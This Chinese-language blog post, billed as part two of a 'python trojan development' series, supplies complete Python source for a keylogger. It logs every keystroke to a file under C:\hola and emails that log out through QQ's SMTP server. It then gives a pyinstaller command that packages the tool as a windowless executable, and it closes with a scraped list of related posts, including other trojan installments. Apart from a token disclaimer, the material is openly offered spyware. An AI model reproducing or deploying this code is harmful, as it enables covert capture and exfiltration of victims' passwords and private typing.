python trojan development 2nd —— use python to send mail and listen to the key board then combine them
请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!!
from pynput.keyboard import Key,Listener
import logging
import os
import smtplib
from email.mime.text import MIMEText
from PIL import ImageGrab
import random
from time import *
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
def send_mail(filename):
file = open(filename,"r",encoding="UTF-8")
data = file.read()
file.close()
msg_from='@qq.com' #发送方邮箱
passwd='' #填入发送方邮箱的授权码
msg_to=''
subject="python邮件测试" #主题
content=data
msg = MIMEText(content,"plain","utf-8")
msg['Subject'] = subject
msg['From'] = msg_from
msg['To'] = msg_to
try:
s = smtplib.SMTP_SSL("smtp.qq.com",465)
s.login(msg_from, passwd)
s.sendmail(msg_from, msg_to, msg.as_string())
print( "发送成功")
except:
print("发送失败")
finally:
s.quit()
def mkdir(path):
path = path.strip()
# 去除尾部 \ 符号
path = path.rstrip("\\")
isExists = os.path.exists(path)
# 判断结果
if not isExists:
os.makedirs(path)
# print(path + ' 创建成功')
return True
else:
# 如果目录存在则不创建,并提示目录已存在
# print(path + ' 目录已存在')
return False
# 定义要创建的目录
path = "C:\\hola\\"
# 调用函数
mkdir(path)
logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)
def press(key):
logging.info(key)
if key==Key.enter:
return False
with Listener(on_press = press) as listener:
listener.join()
send_mail(path+"keylog.txt")
打包时候注意了,有些命令层面的错误我就不说了,我这里直接上命令
pyinstaller -F xx.py --hidden-pynput --noconsole
python trojan development 2nd —— use python to send mail and listen to the key board then combine them的更多相关文章
- python trojan development 1st —— use python to send mail and caputre the screen then combine them
import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...
- python trojan development 3rd —— use python to creative a simple shell
前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...
- Python Geospatial Development reading note(1)
chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...
- Beginning Python Games Development
Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...
- Python 3.4 send mail
#coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...
- 【Python网络编程】利用Python进行TCP、UDP套接字编程
之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...
- 【转】linux和windows下安装python集成开发环境及其python包
本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...
- python公司面试题集锦 python面试题大全
问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...
- python 2016 大会 pyconsk ppt ---python dtrace
https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...
随机推荐
- CentOS6.5系统挂载NTFS分区的移动硬盘
CentOS6.5系统挂载NTFS分区的移动硬盘 作为IT的工作者,避免不了使用Linux系统,我如今使用的系统是CentOS6.5 X86_64位版本号,可是插入NTFS移动硬盘没有办法识别.通过以 ...
- mybatis如何实现分页功能?
1)原始方法,使用limit,需要自己处理分页逻辑: 对于mysql数据库可以使用limit,如: select * from table limit 5,10; --返回6-15行 对于oracle ...
- 超平面(hyperplane)的定义
Hyperplane - Wikipedia Hyperplane – from Wolfram MathWorld a1,a2,-,an 为一组不全为 0 的纯量,如下定义的集合 S 由这样的向量构 ...
- WPF实用指南一:在WPF窗体的边框中添加搜索框和按钮
原文:WPF实用指南一:在WPF窗体的边框中添加搜索框和按钮 在边框中加入一些元素,在应用程序的界面设计中,已经开始流行起来.特别是在浏览器(Crome,IE,Firefox,Opera)中都有应用. ...
- shell脚本自动化安装LAMP
#!/bin/bash#auto make install LAMP#by authors yehailun #arp和apr-util依赖APR_FILES=apr-1.6.2.tar.gz APR ...
- WPF编游戏系列 之二 图标效果
原文:WPF编游戏系列 之二 图标效果 本篇将要实现图标的两个效果:1. 显示图标标签,2. 图标模糊效果.在上一篇中提到Image没有HTML <img>的Title属性( ...
- MEF 插件式开发 - WPF 初体验
原文:MEF 插件式开发 - WPF 初体验 目录 MEF 在 WPF 中的简单应用 加载插件 获取元数据 依赖注入 总结 MEF 在 WPF 中的简单应用 MEF 的开发模式主要适用于插件化的业务场 ...
- WPF 元素tag属性绑定一个属性或一个对象
<Window x:Class="CollectionBinding.CategoryDataTemp" xmlns="http://schemas. ...
- C#基于用户和角色的验证,服务端web 客户端wpf
应用程序服务 <?xml version="1.0"?> <!-- For more information on how to configure your ...
- inno setup 打包说明
[Setup] 这个段包含用于安装程序和卸载程序的全局设置 AppId:在注册表中唯一的项名称,安装完64位系统在 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\M ...